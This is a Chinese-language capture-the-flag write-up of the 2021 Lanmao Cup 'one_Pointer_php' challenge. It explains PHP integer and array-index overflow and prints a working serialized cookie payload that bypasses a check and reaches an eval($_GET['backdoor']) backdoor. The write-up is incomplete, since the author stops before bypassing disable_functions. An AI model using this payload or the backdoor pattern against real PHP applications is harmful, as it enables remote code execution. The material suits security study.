蓝帽杯2021复现
one_Pointer_php
buu上开了环境,真不错
user.php
1 2 3 4 5
| <?php class User{ public $count; } ?>
|
add_api.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php include "user.php"; if($user=unserialize($_COOKIE["data"])){ $count[++$user->count]=1; if($count[]=1){ $user->count+=1; setcookie("data",serialize($user)); }else{ eval($_GET["backdoor"]); } }else{ $user=new User; $user->count=1; setcookie("data",serialize($user)); } ?>
|
就两个文件……
当时看了半天,就只知道要绕过if($count[]=1)
……可这玩意不是恒对的吗……
这关系到php的索引数组溢出
PHP数组
https://blog.csdn.net/weixin_43821278/article/details/114763459
根据这篇文章的实验
1 2 3 4 5 6
|
<?php $a[2147483647]="ccc"; $a[]="bbb"; var_dump($a);
|
输出:
$a[]访问到的是当前最大数值索引的下一位
也就是说,在5.5.9nts版本下,2147483647就是数值索引的界限,而2147483647正是5.5.9版本中默认设置的整型最大值:PHP_INT_MAX:int(2147483647)
。
这里的int,是有符号32位二进制可表示的最大数。
2^31-1=2147483647
如果超过了呢?
这里会转化为范围更大的float储存……
数组中溢出后就会回滚从int的最小值,于是会符合这样的规律:
0—2147483647 下标0~2147483647
2147483648—4294967296 下标-2147483648~0
4294967296—6442450943 下标 0~2147483647
下一个溢出为0的数字是:8589934592
这样使用似乎没什么问题,但如果是通过$a[]
去获取就会产生报错,相关版本的题目是XCTF-favorite_number
,可以研究研究。
较新的版本
这里是7.3.4nts的php版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php echo "PHP_INT_MAX:"; var_dump(PHP_INT_MAX); echo "<br>"; echo "PHP_INT_MIN:"; var_dump(PHP_INT_MIN); echo "<br>"; echo "PHP_INT_SIZE:"; var_dump(PHP_INT_SIZE);
$a =9223372036854775806; $b =9223372036854775806;
echo "<br>"; var_dump(is_int($a)); $a++;
echo "<br>"; var_dump(is_int($a)); $a++;
echo "<br>";echo "is_int:"; var_dump(is_int($a)); echo "<br>";echo "is_float:"; var_dump(is_float($a));
echo "<br>"; echo $b; $b++;
echo "<br>"; echo $b; $b++;
echo "<br>"; echo $b;
|
1 2 3 4 5 6 7 8 9 10 11
| 输出: PHP_INT_MAX:int(9223372036854775807) PHP_INT_MIN:int(-9223372036854775808) PHP_INT_SIZE:int(8) bool(true) bool(true) is_int:bool(false) is_float:bool(true) 9223372036854775806 9223372036854775807 9.2233720368548E+18
|
同样会转化为float而不再属于整型,并会以科学计数法输出
这里的“int”,是有符号64位二进制可表示的最大数,或者说,我们更加熟悉的long long int。
2^63-1=9223372036854775807
较新的版本大概是提高了索引溢出的阈值……
1 2 3 4 5 6 7 8 9
| <?php
$a[9223372036854775806]="haha";
$a[] =1; var_dump($a);
$a[] =1; var_dump($a);
|
最后的语句成功报错,根据这个方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php include "user.php"; if($user=unserialize($_COOKIE["data"])){ $count[++$user->count]=1; if($count[]=1){ $user->count+=1; setcookie("data",serialize($user)); }else{ eval($_GET["backdoor"]); } }else{ $user=new User; $user->count=1; setcookie("data",serialize($user)); }
$a =new User(); $a ->count=9223372036854775806;
$a =urlencode(serialize($a));
echo $a;
?>
|
就可以成功绕过赋值判断
O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D
执行命令,来phpinfo看看敏感信息:
……上一个绕过disable_function的还是so劫持或者蚁剑插件……不是很会……
看了dalao的wp,一直搞不好……原理倒是看了七七八八……
然后……没有然后了……蹲一个好大佬的wp😢